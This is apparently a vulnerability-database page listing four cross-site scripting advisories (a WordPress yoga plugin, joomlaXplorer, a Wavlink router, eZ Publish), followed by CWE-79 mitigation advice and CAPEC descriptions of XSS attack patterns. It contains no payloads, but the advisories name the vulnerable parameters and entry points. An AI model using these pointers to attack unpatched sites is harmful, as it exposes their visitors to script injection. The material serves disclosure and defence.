GHSA-5XGR-PV6R-3WH3

Vulnerability from github – Published: 2025-09-30 12:30 – Updated: 2026-04-08 18:33
VLAI
Details

The Yoga Schedule Momoyoga plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'momoyoga-schedule' shortcode in all versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-9852"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-30T11:37:47Z",
    "severity": "MODERATE"
  },
  "details": "The Yoga Schedule Momoyoga plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin\u0027s \u0027momoyoga-schedule\u0027 shortcode in all versions up to, and including, 2.9.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
  "id": "GHSA-5xgr-pv6r-3wh3",
  "modified": "2026-04-08T18:33:56Z",
  "published": "2025-09-30T12:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9852"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/momoyoga-integration/tags/2.9.0/momoyoga-schedule.php#L56"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/momoyoga-integration/tags/2.9.1/momoyoga-schedule.php#L56"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/745da770-dd78-4ffb-ae15-4b90682911e3?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XGX-6R7C-FW9M

Vulnerability from github – Published: 2022-05-01 23:44 – Updated: 2022-05-01 23:44
VLAI
Details

Cross-site scripting (XSS) vulnerability in the joomlaXplorer (com_joomlaxplorer) Mambo/Joomla! component 1.6.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the error parameter in a show_error action to index.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-1848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-04-16T17:05:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in the joomlaXplorer (com_joomlaxplorer) Mambo/Joomla! component 1.6.2 and earlier allows remote attackers to inject arbitrary web script or HTML via the error parameter in a show_error action to index.php.",
  "id": "GHSA-5xgx-6r7c-fw9m",
  "modified": "2022-05-01T23:44:10Z",
  "published": "2022-05-01T23:44:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1848"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41779"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/5431"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/28746"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-5XH5-QVF5-XPVP

Vulnerability from github – Published: 2022-07-21 00:00 – Updated: 2022-07-28 00:00
VLAI
Details

Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-34048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-20T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Wavlink WN533A8 M33A8.V5030.190716 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the login_page parameter.",
  "id": "GHSA-5xh5-qvf5-xpvp",
  "modified": "2022-07-28T00:00:41Z",
  "published": "2022-07-21T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34048"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1NI3-k3AGIsSe2zjeigl1GVyU1VpG1SV3/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1xznFhH3w3TDN2RCdX62_ebylR4yaKmzf/view?usp=sharing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5XJ2-4X83-FMX6

Vulnerability from github – Published: 2023-06-26 21:30 – Updated: 2024-04-04 05:10
VLAI
Details

Cross Site Scripting vulnerabiltiy in eZ Systems AS eZPublish Platform v.5.4 and eZ Publish Legacy v.5.4 allows a remote authenticated attacker to execute arbitrary code via the video-js.swf.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-23065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-26T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Cross Site Scripting vulnerabiltiy in eZ Systems AS eZPublish Platform v.5.4 and eZ Publish Legacy v.5.4 allows a remote authenticated attacker to execute arbitrary code via the video-js.swf.",
  "id": "GHSA-5xj2-4x83-fmx6",
  "modified": "2024-04-04T05:10:37Z",
  "published": "2023-06-26T21:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23065"
    },
    {
      "type": "WEB",
      "url": "https://ezplatform.com/security-advisories/ezsa-2020-003-xss-in-demobundle-ezdemo-bundled-videojs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.